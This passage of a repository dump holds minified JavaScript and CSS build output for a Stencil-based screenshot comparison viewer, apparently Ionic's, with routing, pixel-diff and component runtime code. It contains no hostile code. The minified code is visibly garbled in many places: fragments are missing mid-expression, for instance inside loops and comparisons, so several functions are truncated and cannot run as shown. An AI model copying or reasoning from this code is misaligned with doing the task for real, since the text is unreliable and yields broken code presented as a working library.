rgba(0,0,0,0.12);--screenshot-border-radius:4px;--analysis-data-font-size:12px;--analysis-data-color:rgb(111, 111, 111)}*{box-sizing:border-box}body{padding:0;margin:0;font-family:var(--font-family);background:var(--background-color);color:var(--font-color)}compare-table{display:table;width:100%;margin-top:84px;margin-bottom:12px}compare-tbody{display:table-row-group}compare-tbody compare-cell{padding-top:12px}compare-row{display:table-row}compare-row[hidden]{display:none}compare-cell{display:table-cell;vertical-align:top;padding:3px 10px}body{overflow:hidden;position:absolute;width:100%;height:100vh}screenshot-compare{position:absolute;display:block;top:0px;width:100%;height:100vh}compare-header{display:block;position:absolute;z-index:1;display:block;top:0;left:-100px;padding-left:100px;width:calc(100% + 200px);height:84px}compare-thead{position:relative;top:64px;z-index:1}.scroll-x{position:absolute;top:0;width:100%;height:100vh;overflow-x:scroll;overflow-y:hidden}.scroll-y{position:absolute;top:0;height:100vh;overflow-x:hidden;overflow-y:scroll;-webkit-overflow-scrolling:touch;will-change:scroll-position} ================================================ FILE: screenshot/compare/build/p-9b6a9315.js ================================================ const r=new RegExp(["(\\\\.)","(?:\\:(\\w+)(?:\\(((?:\\\\.|[^\\\\()])+)\\))?|\\(((?:\\\\.|[^\\\\()])+)\\))([+*?])?"].join("|"),"g"),e=r=>r.replace(/([.+*?=^!:${}()[\]|/\\])/g,"\\$1"),t=r=>r.replace(/([=!:$/()])/g,"\\$1"),n=r=>r&&r.sensitive?"":"i",a=(r,t,a)=>{for(var o=(a=a||{}).strict,s=!1!==a.end,i=e(a.delimiter||"/"),l=a.delimiters||"./",c=[].concat(a.endsWith||[]).map(e).concat("$").join("|"),u="",f=!1,p=0;p-1;else{var h=e(d.prefix||""),v=d.repeat?"(?:"+d.pattern+")(?:"+h+"(?:"+d.pattern+"))*":d.pattern;t&&t.push(d),u+=d.optional?d.partial?h+"("+v+")?":"(?:"+h+"("+v+"))?":h+"("+v+")"}}return s?(o||(u+="(?:"+i+")?"),u+="$"===c?"$":"(?="+c+")"):(o||(u+="(?:"+i+"(?="+c+"))?"),f||(u+="(?="+i+"|"+c+")")),new RegExp("^"+u,n(a))},o=(s,i,l)=>s instanceof RegExp?((r,e)=>{if(!e)return r;var t=r.source.match(/\((?!\?)/g);if(t)for(var n=0;n{for(var a=[],s=0;sa(((n,a)=>{for(var o,s=[],i=0,l=0,c="",u=a&&a.delimiter||"/",f=a&&a.delimiters||"./",p=!1;null!==(o=r.exec(n));){var d=o[0],h=o[1],v=o.index;if(c+=n.slice(l,v),l=v+d.length,h)c+=h[1],p=!0;else{var g="",y=n[l],E=o[2],x=o[3],R=o[4],m=o[5];if(!p&&c.length){var $=c.length-1;f.indexOf(c[$])>-1&&(g=c[$],c=c.slice(0,$))}c&&(s.push(c),c="",p=!1);var O=g||u,_=x||R;s.push({name:E||i++,prefix:g,delimiter:O,optional:"?"===m||"*"===m,repeat:"+"===m||"*"===m,partial:""!==g&&void 0!==y&&y!==g,pattern:_?t(_):"[^"+e(O)+"]+?"})}}return(c||lnew RegExp("^"+e+"(\\/|\\?|#|$)","i").test(r),i=(r,e)=>s(r,e)?r.substr(e.length):r,l=r=>"/"===r.charAt(r.length-1)?r.slice(0,-1):r,c=r=>"/"===r.charAt(0)?r:"/"+r,u=r=>"/"===r.charAt(0)?r.substr(1):r,f=r=>{const{pathname:e,search:t,hash:n}=r;let a=e||"/";return t&&"?"!==t&&(a+="?"===t.charAt(0)?t:"?"+t),n&&"#"!==n&&(a+="#"===n.charAt(0)?n:"#"+n),a},p=r=>"/"===r.charAt(0),d=r=>Math.random().toString(36).substr(2,r),h=(r,e)=>{for(let t=e,n=t+1,a=r.length;n{if(r===e)return!0;if(null==r||null==e)return!1;if(Array.isArray(r))return Array.isArray(e)&&r.length===e.length&&r.every((r,t)=>v(r,e[t]));const t=typeof r;if(t!==typeof e)return!1;if("object"===t){const t=r.valueOf(),n=e.valueOf();if(t!==r||n!==e)return v(t,n);const a=Object.keys(r),o=Object.keys(e);return a.length===o.length&&a.every(t=>v(r[t],e[t]))}return!1},g=(r,e)=>r.pathname===e.pathname&&r.search===e.search&&r.hash===e.hash&&r.key===e.key&&v(r.state,e.state),y=(r,e,t,n)=>{let a;"string"==typeof r?(a=(r=>{let e=r||"/",t="",n="";const a=e.indexOf("#");-1!==a&&(n=e.substr(a),e=e.substr(0,a));const o=e.indexOf("?");return-1!==o&&(t=e.substr(o),e=e.substr(0,o)),{pathname:e,search:"?"===t?"":t,hash:"#"===n?"":n,query:{},key:""}})(r),void 0!==e&&(a.state=e)):(a=Object.assign({pathname:""},r),a.search&&"?"!==a.search.charAt(0)&&(a.search="?"+a.search),a.hash&&"#"!==a.hash.charAt(0)&&(a.hash="#"+a.hash),void 0!==e&&void 0===a.state&&(a.state=e));try{a.pathname=decodeURI(a.pathname)}catch(r){throw r instanceof URIError?new URIError('Pathname "'+a.pathname+'" could not be decoded. This is likely caused by an invalid percent-encoding.'):r}var o;return a.key=t,n?a.pathname?"/"!==a.pathname.charAt(0)&&(a.pathname=((r,e="")=>{let t,n=e&&e.split("/")||[],a=0;const o=r&&r.split("/")||[],s=r&&p(r),i=e&&p(e),l=s||i;if(r&&p(r)?n=o:o.length&&(n.pop(),n=n.concat(o)),!n.length)return"/";if(n.length){const r=n[n.length-1];t="."===r||".."===r||""===r}else t=!1;for(let r=n.length;r>=0;r--){const e=n[r];"."===e?h(n,r):".."===e?(h(n,r),a++):a&&(h(n,r),a--)}if(!l)for(;a--;a)n.unshift("..");!l||""===n[0]||n[0]&&p(n[0])||n.unshift("");let c=n.join("/");return t&&"/"!==c.substr(-1)&&(c+="/"),c})(a.pathname,n.pathname)):a.pathname=n.pathname:a.pathname||(a.pathname="/"),a.query=(o=a.search||"")?(/^[?#]/.test(o)?o.slice(1):o).split("&").reduce((r,e)=>{let[t,n]=e.split("=");return r[t]=n?decodeURIComponent(n.replace(/\+/g," ")):"",r},{}):{},a};let E=0;const x={},R=(r,e={})=>{"string"==typeof e&&(e={path:e});const{path:t="/",exact:n=!1,strict:a=!1}=e,{re:s,keys:i}=((r,e)=>{const t=`${e.end}${e.strict}`,n=x[t]||(x[t]={}),a=JSON.stringify(r);if(n[a])return n[a];const s=[],i={re:o(r,s,e),keys:s};return E<1e4&&(n[a]=i,E+=1),i})(t,{end:n,strict:a}),l=s.exec(r);if(!l)return null;const[c,...u]=l,f=r===c;return n&&!f?null:{path:t,url:"/"===t&&""===c?"/":c,isExact:f,params:i.reduce((r,e,t)=>(r[e.name]=u[t],r),{})}},m=(r,e)=>null==r&&null==e||null!=e&&r&&e&&r.path===e.path&&r.url===e.url&&v(r.params,e.params),$=(r,e,t)=>t(r.confirm(e)),O=r=>r.metaKey||r.altKey||r.ctrlKey||r.shiftKey,_=r=>{const e=r.navigator.userAgent;return(-1===e.indexOf("Android 2.")&&-1===e.indexOf("Android 4.0")||-1===e.indexOf("Mobile Safari")||-1!==e.indexOf("Chrome")||-1!==e.indexOf("Windows Phone"))&&r.history&&"pushState"in r.history},b=r=>-1===r.userAgent.indexOf("Trident"),w=r=>-1===r.userAgent.indexOf("Firefox"),A=(r,e)=>void 0===e.state&&-1===r.userAgent.indexOf("CriOS"),j=(r,e)=>{const t=r[e],n="__storage_test__";try{return t.setItem(n,n),t.removeItem(n),!0}catch(r){return r instanceof DOMException&&(22===r.code||1014===r.code||"QuotaExceededError"===r.name||"NS_ERROR_DOM_QUOTA_REACHED"===r.name)&&0!==t.length}};export{m as a,_ as b,b as c,l as d,c as e,y as f,d as g,s as h,i,f as j,$ as k,A as l,R as m,w as n,u as o,g as p,O as q,j as s} ================================================ FILE: screenshot/compare/build/p-b4cc611c.entry.js ================================================ import{r as t,g as e}from"./p-fbbae598.js";import{A as s}from"./p-e2efe0df.js";class i{constructor(e){t(this,e),this.titleSuffix="",this.pageTitle=""}updateDocumentTitle(){const t=this.el;t.ownerDocument&&(t.ownerDocument.title=`${this.pageTitle}${this.titleSuffix||""}`)}componentWillLoad(){this.updateDocumentTitle()}get el(){return e(this)}static get watchers(){return{pageTitle:["updateDocumentTitle"]}}}s.injectProps(i,["titleSuffix"]);export{i as stencil_route_title} ================================================ FILE: screenshot/compare/build/p-d1bf53f5.entry.js ================================================ import{r as t,h as i,g as s}from"./p-fbbae598.js";import{A as h}from"./p-e2efe0df.js";import{m as a,q as e}from"./p-9b6a9315.js";class r{constructor(i){t(this,i),this.unsubscribe=()=>{},this.activeClass="link-active",this.exact=!1,this.strict=!0,this.custom="a",this.match=null}componentWillLoad(){this.computeMatch()}computeMatch(){this.location&&(this.match=a(this.location.pathname,{path:this.urlMatch||this.url,exact:this.exact,strict:this.strict}))}handleClick(t){var i,s;if(!e(t)&&this.history&&this.url&&this.root)return t.preventDefault(),this.history.push((s=this.root,"/"==(i=this.url).charAt(0)&&"/"==s.charAt(s.length-1)?s.slice(0,s.length-1)+i:s+i))}render(){let t={class:{[this.activeClass]:null!==this.match},onClick:this.handleClick.bind(this)};return this.anchorClass&&(t.class[this.anchorClass]=!0),"a"===this.custom&&(t=Object.assign({},t,{href:this.url,title:this.anchorTitle,role:this.anchorRole,tabindex:this.anchorTabIndex,"aria-haspopup":this.ariaHaspopup,id:this.anchorId,"aria-posinset":this.ariaPosinset,"aria-setsize":this.ariaSetsize,"aria-label":this.ariaLabel})),i(this.custom,Object.assign({},t),i("slot",null))}get el(){return s(this)}static get watchers(){return{location:["computeMatch"]}}}h.injectProps(r,["history","location","root"]);export{r as stencil_route_link} ================================================ FILE: screenshot/compare/build/p-e2efe0df.js ================================================ import{h as t}from"./p-fbbae598.js";const e=(()=>{let e=new Map,r={historyType:"browser",location:{pathname:"",query:{},key:""},titleSuffix:"",root:"/",routeViewsUpdated:()=>{}};const o=(t,e)=>{Array.isArray(t)?[...t].forEach(t=>{e[t]=r[t]}):e[t]=Object.assign({},r)},s=(t,r)=>(e.has(t)||(e.set(t,r),o(r,t)),()=>{e.has(t)&&e.delete(t)});return{Provider:({state:t},s)=>(r=t,e.forEach(o),s),Consumer:(e,r)=>((e,r)=>t("context-consumer",{subscribe:e,renderer:r}))(s,r[0]),injectProps:(t,r)=>{const o=t.prototype,n=o.connectedCallback,i=o.disconnectedCallback;o.connectedCallback=function(){if(s(this,r),n)return n.call(this)},o.disconnectedCallback=function(){e.delete(this),i&&i.call(this)}}}})();export{e as A} ================================================ FILE: screenshot/compare/build/p-e8ca6d97.entry.js ================================================ import{r as t,g as r}from"./p-fbbae598.js";import{A as s}from"./p-e2efe0df.js";class i{constructor(r){t(this,r)}componentWillLoad(){if(this.history&&this.root&&this.url)return this.history.replace((r=this.root,"/"==(t=this.url).charAt(0)&&"/"==r.charAt(r.length-1)?r.slice(0,r.length-1)+t:r+t));var t,r}get el(){return r(this)}}s.injectProps(i,["history","root"]);export{i as stencil_router_redirect} ================================================ FILE: screenshot/compare/build/p-ec2f13e0.entry.js ================================================ import{r as t,h as e}from"./p-fbbae598.js";class n{constructor(e){t(this,e),this.content=""}componentWillLoad(){if(null!=this.documentLocation)return this.fetchNewContent(this.documentLocation)}fetchNewContent(t){return fetch(t).then(t=>t.text()).then(t=>{this.content=t})}render(){return e("div",{innerHTML:this.content})}static get watchers(){return{documentLocation:["fetchNewContent"]}}}export{n as stencil_async_content} ================================================ FILE: screenshot/compare/build/p-f0b99977.entry.js ================================================ import{r as t,g as s}from"./p-fbbae598.js";class e{constructor(s){t(this,s),this.context={},this.renderer=()=>null}connectedCallback(){null!=this.subscribe&&(this.unsubscribe=this.subscribe(this.el,"context"))}disconnectedCallback(){null!=this.unsubscribe&&this.unsubscribe()}render(){return this.renderer(Object.assign({},this.context))}get el(){return s(this)}}export{e as context_consumer} ================================================ FILE: screenshot/compare/build/p-f4745c2f.entry.js ================================================ import{r as t,d as s,h as i,g as e}from"./p-fbbae598.js";import{s as n}from"./p-081b0641.js";const h={threshold:.1,includeAA:!1,alpha:.1,aaColor:[255,255,0],diffColor:[255,0,0],diffColorAlt:null,diffMask:!1};function o(t){return ArrayBuffer.isView(t)&&1===t.constructor.BYTES_PER_ELEMENT}function r(t,s,i,e,n,h){const o=Math.max(s-1,0),r=Math.max(i-1,0),c=Math.min(s+1,e-1),d=Math.min(i+1,n-1),f=4*(i*e+s);let u,p,m,g,w=s===o||s===c||i===r||i===d?1:0,y=0,v=0;for(let n=o;n<=c;n++)for(let h=r;h<=d;h++){if(n===s&&h===i)continue;const o=l(t,t,f,4*(h*e+n),!0);if(0===o){if(w++,w>2)return!1}else ov&&(v=o,m=n,g=h)}return 0!==y&&0!==v&&(a(t,u,p,e,n)&&a(h,u,p,e,n)||a(t,m,g,e,n)&&a(h,m,g,e,n))}function a(t,s,i,e,n){const h=Math.max(s-1,0),o=Math.max(i-1,0),r=Math.min(s+1,e-1),a=Math.min(i+1,n-1),l=4*(i*e+s);let c=s===h||s===r||i===o||i===a?1:0;for(let n=h;n<=r;n++)for(let h=o;h<=a;h++){if(n===s&&h===i)continue;const o=4*(h*e+n);if(t[l]===t[o]&&t[l+1]===t[o+1]&&t[l+2]===t[o+2]&&t[l+3]===t[o+3]&&c++,c>2)return!0}return!1}function l(t,s,i,e,n){let h=t[i+0],o=t[i+1],r=t[i+2],a=t[i+3],l=s[e+0],p=s[e+1],m=s[e+2],g=s[e+3];if(a===g&&h===l&&o===p&&r===m)return 0;a<255&&(a/=255,h=u(h,a),o=u(o,a),r=u(r,a)),g<255&&(g/=255,l=u(l,g),p=u(p,g),m=u(m,g));const w=c(h,o,r),y=c(l,p,m),v=w-y;if(n)return v;const b=d(h,o,r)-d(l,p,m),x=f(h,o,r)-f(l,p,m),M=.5053*v*v+.299*b*b+.1957*x*x;return w>y?-M:M}function c(t,s,i){return.29889531*t+.58662247*s+.11448223*i}function d(t,s,i){return.59597799*t-.2741761*s-.32180189*i}function f(t,s,i){return.21147017*t-.52261711*s+.31114694*i}function u(t,s){return 255+(t-255)*s}function p(t,s,i,e,n){t[s+0]=i,t[s+1]=e,t[s+2]=n,t[s+3]=255}function m(t,s,i,e){const n=u(c(t[s+0],t[s+1],t[s+2]),i*t[s+3]/255);p(e,s,n,n,n)}function g(t,s,i){if(y.has(s))return void i(y.get(s));if(w.has(s))return void w.get(s).push(i);w.set(s,[i]);const e=document.createElement("script");e.src=`${t}screenshot_${s}.js`,document.head.appendChild(e)}window.loadScreenshot=(t,s)=>{const i=w.get(t);i&&(i.forEach(t=>t(s)),w.delete(t)),y.set(t,s)};const w=new Map,y=new Map;class v{constructor(i){t(this,i),this.imageASrc=null,this.imageBSrc=null,this.imageAClass="is-loading",this.imageBClass="is-loading",this.canvasClass="is-loading",this.imagesLoaded=new Set,this.isImageALoaded=!1,this.isImageBLoaded=!1,this.isMismatchInitialized=!1,this.hasCalculatedMismatch=!1,this.compareLoaded=s(this,"compareLoaded",7)}componentWillLoad(){this.loadScreenshots()}componentWillUpdate(){this.loadScreenshots()}loadScreenshots(){if(this.show&&this.diff.hasIntersected)return this.diff.identical?(this.imageASrc=this.imagesUrl+this.diff.imageA,this.isImageALoaded=!0,this.imageAClass="has-loaded",this.imageBSrc=this.imagesUrl+this.diff.imageB,this.isImageBLoaded=!0,void(this.imageBClass="has-loaded")):void(this.isMismatchInitialized||(this.isMismatchInitialized=!0,null!=this.jsonpUrl?(null!=this.diff.imageA&&g(this.jsonpUrl,this.diff.imageA,t=>{this.imageASrc=t}),null!=this.diff.imageB&&g(this.jsonpUrl,this.diff.imageB,t=>{this.imageBSrc=t})):(this.imageASrc=this.imagesUrl+this.diff.imageA,this.imageBSrc=this.imagesUrl+this.diff.imageB)))}async compareImages(){const t=this.diff;this.isImageALoaded&&this.isImageBLoaded&&!this.hasCalculatedMismatch&&t.comparable&&(this.hasCalculatedMismatch=!0,t.mismatchedPixels=await function(t,s,i,e,n,a){let c=-1;try{const d=document.createElement("canvas");d.width=e,d.height=n;const f=document.createElement("canvas");f.width=e,f.height=n;const u=d.getContext("2d");u.drawImage(t,0,0);const g=f.getContext("2d");g.drawImage(s,0,0);const w=document.createElement("canvas").getContext("2d");w.drawImage(t,0,0),w.getImageData(0,0,e,n);const y=u.getImageData(0,0,e,n).data,v=g.getImageData(0,0,e,n).data,b=i.getContext("2d"),x=b.createImageData(e,d.height);c=function(t,s,i,e,n,a){if(!o(t)||!o(s)||i&&!o(i))throw new Error("Image data: Uint8Array, Uint8ClampedArray or Buffer expected.");if(t.length!==s.length||i&&i.length!==t.length)throw new Error("Image sizes do not match.");if(t.length!==e*n*4)throw new Error("Image data size does not match width/height.");a=Object.assign({},h,a);const c=e*n,d=new Uint32Array(t.buffer,t.byteOffset,c),f=new Uint32Array(s.buffer,s.byteOffset,c);let u=!0;for(let t=0;tg?a.includeAA||!r(t,o,h,e,n,s)&&!r(s,o,h,e,n,t)?(i&&p(i,c,...d<0&&a.diffColorAlt||a.diffColor),w++):i&&!a.diffMask&&p(i,c,...a.aaColor):i&&(a.diffMask||m(t,c,a.alpha,i))}return w}(y,v,x.data,e,n,{threshold:a}),b.putImageData(x,0,0)}catch(t){console.error(t)}return c}(this.imageA,this.imageB,this.canvas,Math.round(t.width*t.deviceScaleFactor),Math.round(t.height*t.deviceScaleFactor),t.threshold),this.canvasClass="has-loaded",n(t.imageA,t.imageB,t.mismatchedPixels,t.threshold),this.compareLoaded.emit(t))}render(){const t=this.diff,s={width:t.width+"px",height:t.height+"px"};return[i("compare-cell",null,null!=t.imageA?i("a",{href:this.imagesUrl+t.imageA,target:"_blank"},i("img",{src:this.imageASrc,class:this.imageAClass,style:s,onLoad:this.diff.identical?null:()=>{this.isImageALoaded=!0,this.imageAClass="has-loaded",this.compareImages()},ref:t=>this.imageA=t})):i("img",{style:s,class:"is-loading"})),i("compare-cell",null,null!=t.imageB?i("a",{href:this.imagesUrl+t.imageB,target:"_blank"},i("img",{src:this.imageBSrc,class:this.imageBClass,style:s,onLoad:this.diff.identical?null:()=>{this.isImageBLoaded=!0,this.imageBClass="has-loaded",this.compareImages()},ref:t=>this.imageB=t})):i("img",{style:s,class:"is-loading"})),i("compare-cell",null,this.diff.identical?i("img",{style:s,src:this.imageASrc}):i("canvas",{width:Math.round(t.width*t.deviceScaleFactor),height:Math.round(t.height*t.deviceScaleFactor),class:this.canvasClass,style:s,hidden:!t.comparable,ref:t=>this.canvas=t})),i("compare-cell",null,i("compare-analysis",{aId:this.aId,bId:this.bId,mismatchedPixels:this.diff.mismatchedPixels,diff:this.diff}))]}get elm(){return e(this)}}v.style="compare-row img,compare-row canvas{display:block;box-shadow:var(--screenshot-box-shadow);border-radius:var(--screenshot-border-radius)}compare-row a{display:block}.is-loading{visibility:hidden}";class b{constructor(s){t(this,s)}render(){if(!this.a||!this.b||!this.diffs)return;let t=0;this.diffs.forEach(s=>{s.width>t&&(t=s.width)}),t-=6;const s={width:t+"px"};return[i("th-cell",null,i("div",{style:s},i("a",{href:this.a.url,target:"_blank"},this.a.message))),i("th-cell",null,i("div",{style:s},i("a",{href:this.b.url,target:"_blank"},this.b.message))),i("th-cell",null,i("div",{style:s},i("a",{href:`https://github.com/ionic-team/ionic/compare/${this.a.id}...${this.b.id}`,target:"_blank"},"Compare: ",this.a.id," - ",this.b.id))),i("th-cell",{class:"analysis"},i("div",null,"Analysis"))]}}b.style=":host{display:flex}th-cell{display:block;flex:1;font-weight:500;font-size:12px}th-cell div{padding-left:12px;padding-right:12px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}th-cell a{color:var(--font-color);text-decoration:none}th-cell a:hover{color:var(--analysis-data-color);text-decoration:underline}.analysis div{width:262px}";export{v as compare_row,b as compare_thead} ================================================ FILE: screenshot/compare/build/p-fbbae598.js ================================================ let e,t,n,l=!1,o=!1,s=!1,r=0,i=!1;const c="undefined"!=typeof window?window:{},a=c.document||{head:{}},f={t:0,l:"",jmp:e=>e(),raf:e=>requestAnimationFrame(e),ael:(e,t,n,l)=>e.addEventListener(t,n,l),rel:(e,t,n,l)=>e.removeEventListener(t,n,l)},u=e=>Promise.resolve(e),d=(()=>{try{return new CSSStyleSheet,!0}catch(e){}return!1})(),p={},$=(e,t,n)=>{n&&n.map(([n,l,o])=>{const s=e,r=m(t,o),i=h(n);f.ael(s,l,r,i),(t.o=t.o||[]).push(()=>f.rel(s,l,r,i))})},m=(e,t)=>n=>{256&e.t?e.s[t](n):(e.i=e.i||[]).push([t,n])},h=e=>0!=(2&e),y="http://www.w3.org/1999/xlink",b=new WeakMap,w=e=>"sc-"+e.u,k={},v=e=>"object"==(e=typeof e)||"function"===e,g=(e,t,...n)=>{let l=null,o=null,s=null,r=!1,i=!1,c=[];const a=t=>{for(let n=0;ne[t]).join(" "))}}if("function"==typeof e)return e(null===t?{}:t,c,M);const f=S(e,null);return f.$=t,c.length>0&&(f.m=c),f.h=o,f.k=s,f},S=(e,t)=>({t:0,v:e,p:t,g:null,m:null,$:null,h:null,k:null}),j={},M={forEach:(e,t)=>e.map(U).forEach(t),map:(e,t)=>e.map(U).map(t).map(C)},U=e=>({vattrs:e.$,vchildren:e.m,vkey:e.h,vname:e.k,vtag:e.v,vtext:e.p}),C=e=>{const t=S(e.vtag,e.vtext);return t.$=e.vattrs,t.m=e.vchildren,t.h=e.vkey,t.k=e.vname,t},R=(e,t,n,l,o,s)=>{if(n!==l){let r=de(e,t),i=t.toLowerCase();if("class"===t){const t=e.classList,o=L(n),s=L(l);t.remove(...o.filter(e=>e&&!s.includes(e))),t.add(...s.filter(e=>e&&!o.includes(e)))}else if("style"===t){for(const t in n)l&&null!=l[t]||(t.includes("-")?e.style.removeProperty(t):e.style[t]="");for(const t in l)n&&l[t]===n[t]||(t.includes("-")?e.style.setProperty(t,l[t]):e.style[t]=l[t])}else if("key"===t);else if("ref"===t)l&&l(e);else if(r||"o"!==t[0]||"n"!==t[1]){const c=v(l);if((r||c&&null!==l)&&!o)try{if(e.tagName.includes("-"))e[t]=l;else{let o=null==l?"":l;"list"===t?r=!1:null!=n&&e[t]==o||(e[t]=o)}}catch(e){}let a=!1;i!==(i=i.replace(/^xlink\:?/,""))&&(t=i,a=!0),null==l||!1===l?a?e.removeAttributeNS(y,t):e.removeAttribute(t):(!r||4&s||o)&&!c&&(l=!0===l?"":l,a?e.setAttributeNS(y,t,l):e.setAttribute(t,l))}else t="-"===t[2]?t.slice(3):de(c,i)?i.slice(2):i[2]+t.slice(3),n&&f.rel(e,t,n,!1),l&&f.ael(e,t,l,!1)}},x=/\s/,L=e=>e?e.split(x):[],O=(e,t,n,l)=>{const o=11===t.g.nodeType&&t.g.host?t.g.host:t.g,s=e&&e.$||k,r=t.$||k;for(l in s)l in r||R(o,l,s[l],void 0,n,t.t);for(l in r)R(o,l,s[l],r[l],n,t.t)},P=(o,r,i,c)=>{let f,u,d,p=r.m[i],$=0;if(l||(s=!0,"slot"===p.v&&(e&&c.classList.add(e+"-s"),p.t|=p.m?2:1)),null!==p.p)f=p.g=a.createTextNode(p.p);else if(1&p.t)f=p.g=a.createTextNode("");else if(f=p.g=a.createElement(2&p.t?"slot-fb":p.v),O(null,p,!1),null!=e&&f["s-si"]!==e&&f.classList.add(f["s-si"]=e),p.m)for($=0;${f.t|=1;const l=e.childNodes;for(let e=l.length-1;e>=0;e--){const o=l[e];o["s-hn"]!==n&&o["s-ol"]&&(A(o).insertBefore(o,q(o)),o["s-ol"].remove(),o["s-ol"]=void 0,s=!0),t&&T(o,t)}f.t&=-2},E=(e,t,l,o,s,r)=>{let i,c=e["s-cr"]&&e["s-cr"].parentNode||e;for(c.shadowRoot&&c.tagName===n&&(c=c.shadowRoot);s<=r;++s)o[s]&&(i=P(null,l,s,e),i&&(o[s].g=i,c.insertBefore(i,q(t))))},W=(e,t,n,l,s)=>{for(;t<=n;++t)(l=e[t])&&(s=l.g,z(l),o=!0,s["s-ol"]?s["s-ol"].remove():T(s,!0),s.remove())},D=(e,t)=>e.v===t.v&&("slot"===e.v?e.k===t.k:e.h===t.h),q=e=>e&&e["s-ol"]||e,A=e=>(e["s-ol"]?e["s-ol"]:e).parentNode,F=(e,t)=>{const n=t.g=e.g,l=e.m,o=t.m,s=t.p;let r;null===s?("slot"===t.v||O(e,t,!1),null!==l&&null!==o?((e,t,n,l)=>{let o,s,r=0,i=0,c=0,a=0,f=t.length-1,u=t[0],d=t[f],p=l.length-1,$=l[0],m=l[p];for(;r<=f&&i<=p;)if(null==u)u=t[++r];else if(null==d)d=t[--f];else if(null==$)$=l[++i];else if(null==m)m=l[--p];else if(D(u,$))F(u,$),u=t[++r],$=l[++i];else if(D(d,m))F(d,m),d=t[--f],m=l[--p];else if(D(u,m))"slot"!==u.v&&"slot"!==m.v||T(u.g.parentNode,!1),F(u,m),e.insertBefore(u.g,d.g.nextSibling),u=t[++r],m=l[--p];else if(D(d,$))"slot"!==u.v&&"slot"!==m.v||T(d.g.parentNode,!1),F(d,$),e.insertBefore(d.g,u.g),d=t[--f],$=l[++i];else{for(c=-1,a=r;a<=f;++a)if(t[a]&&null!==t[a].h&&t[a].h===$.h){c=a;break}c>=0?(s=t[c],s.v!==$.v?o=P(t&&t[i],n,c,e):(F(s,$),t[c]=void 0,o=s.g),$=l[++i]):(o=P(t&&t[i],n,i,e),$=l[++i]),o&&A(u.g).insertBefore(o,q(u.g))}r>f?E(e,null==l[p+1]?null:l[p+1].g,n,l,i,p):i>p&&W(t,r,f)})(n,l,t,o):null!==o?(null!==e.p&&(n.textContent=""),E(n,null,t,o,0,o.length-1)):null!==l&&W(l,0,l.length-1)):(r=n["s-cr"])?r.parentNode.textContent=s:e.p!==s&&(n.data=s)},N=e=>{let t,n,l,o,s,r,i=e.childNodes;for(n=0,l=i.length;n{let t,n,l,s,r,i,c=0,a=e.childNodes,f=a.length;for(;c=0;i--)n=l[i],n["s-cn"]||n["s-nr"]||n["s-hn"]===t["s-hn"]||(_(n,s)?(r=H.find(e=>e.S===n),o=!0,n["s-sn"]=n["s-sn"]||s,r?r.j=t:H.push({j:t,S:n}),n["s-sr"]&&H.map(e=>{_(e.S,n["s-sn"])&&(r=H.find(e=>e.S===n),r&&!e.j&&(e.j=r.j))})):H.some(e=>e.S===n)||H.push({S:n}));1===t.nodeType&&V(t)}},_=(e,t)=>1===e.nodeType?null===e.getAttribute("slot")&&""===t||e.getAttribute("slot")===t:e["s-sn"]===t||""===t,z=e=>{e.$&&e.$.ref&&e.$.ref(null),e.m&&e.m.map(z)},B=e=>ae(e).M,G=(e,t,n)=>{const l=B(e);return{emit:e=>I(l,t,{bubbles:!!(4&n),composed:!!(2&n),cancelable:!!(1&n),detail:e})}},I=(e,t,n)=>{const l=new CustomEvent(t,n);return e.dispatchEvent(l),l},J=(e,t)=>{t&&!e.U&&t["s-p"]&&t["s-p"].push(new Promise(t=>e.U=t))},K=(e,t)=>{if(e.t|=16,!(4&e.t))return J(e,e.C),Me(()=>Q(e,t));e.t|=512},Q=(e,t)=>{const n=e.s;let l;return t?(e.t|=256,e.i&&(e.i.map(([e,t])=>te(n,e,t)),e.i=null),l=te(n,"componentWillLoad")):l=te(n,"componentWillUpdate"),ne(l,()=>X(e,n,t))},X=(r,i,c)=>{const u=r.M,d=u["s-rc"];c&&(e=>{const t=e.R,n=e.M,l=t.t,o=((e,t)=>{let n=w(t),l=he.get(n);if(e=11===e.nodeType?e:a,l)if("string"==typeof l){let t,o=b.get(e=e.head||e);o||b.set(e,o=new Set),o.has(n)||(t=a.createElement("style"),t.innerHTML=l,e.insertBefore(t,e.querySelector("link")),o&&o.add(n))}else e.adoptedStyleSheets.includes(l)||(e.adoptedStyleSheets=[...e.adoptedStyleSheets,l]);return n})(n.shadowRoot?n.shadowRoot:n.getRootNode(),t);10&l&&(n["s-sc"]=o,n.classList.add(o+"-h"))})(r),((r,i)=>{const c=r.M,u=r.R,d=r.L||S(null,null),p=(e=>e&&e.v===j)(i)?i:g(null,null,i);if(n=c.tagName,u.O&&(p.$=p.$||{},u.O.map(([e,t])=>p.$[t]=c[e])),p.v=null,p.t|=4,r.L=p,p.g=d.g=c.shadowRoot||c,e=c["s-sc"],t=c["s-cr"],l=0!=(1&u.t),o=!1,F(d,p),f.t|=1,s){let e,t,n,l,o,s;V(p.g);let r=0;for(;re()),u["s-rc"]=void 0);{const e=u["s-p"],t=()=>Z(r);0===e.length?t():(Promise.all(e).then(t),r.t|=4,e.length=0)}},Y=(e,t)=>{try{t=t.render&&t.render(),e.t&=-17,e.t|=2}catch(e){pe(e)}return t},Z=e=>{const t=e.M,n=e.s,l=e.C;64&e.t?te(n,"componentDidUpdate"):(e.t|=64,le(t),te(n,"componentDidLoad"),e.P(t),l||ee()),e.U&&(e.U(),e.U=void 0),512&e.t&&Se(()=>K(e,!1)),e.t&=-517},ee=()=>{le(a.documentElement),f.t|=2,Se(()=>I(c,"appload",{detail:{namespace:"app"}}))},te=(e,t,n)=>{if(e&&e[t])try{return e[t](n)}catch(e){pe(e)}},ne=(e,t)=>e&&e.then?e.then(t):t(),le=e=>e.classList.add("hydrated"),oe=(e,t,n)=>{if(t.T){e.watchers&&(t.W=e.watchers);const l=Object.entries(t.T),o=e.prototype;if(l.map(([e,[l]])=>{(31&l||2&n&&32&l)&&Object.defineProperty(o,e,{get(){return((e,t)=>ae(this).D.get(t))(0,e)},set(n){((e,t,n,l)=>{const o=ae(this),s=o.D.get(t),r=o.t,i=o.s;if(n=((e,t)=>null==e||v(e)?e:4&t?"false"!==e&&(""===e||!!e):2&t?parseFloat(e):1&t?e+"":e)(n,l.T[t][0]),!(8&r&&void 0!==s||n===s)&&(o.D.set(t,n),i)){if(l.W&&128&r){const e=l.W[t];e&&e.map(e=>{try{i[e](n,s,t)}catch(e){pe(e)}})}2==(18&r)&&K(o,!1)}})(0,e,n,t)},configurable:!0,enumerable:!0})}),1&n){const n=new 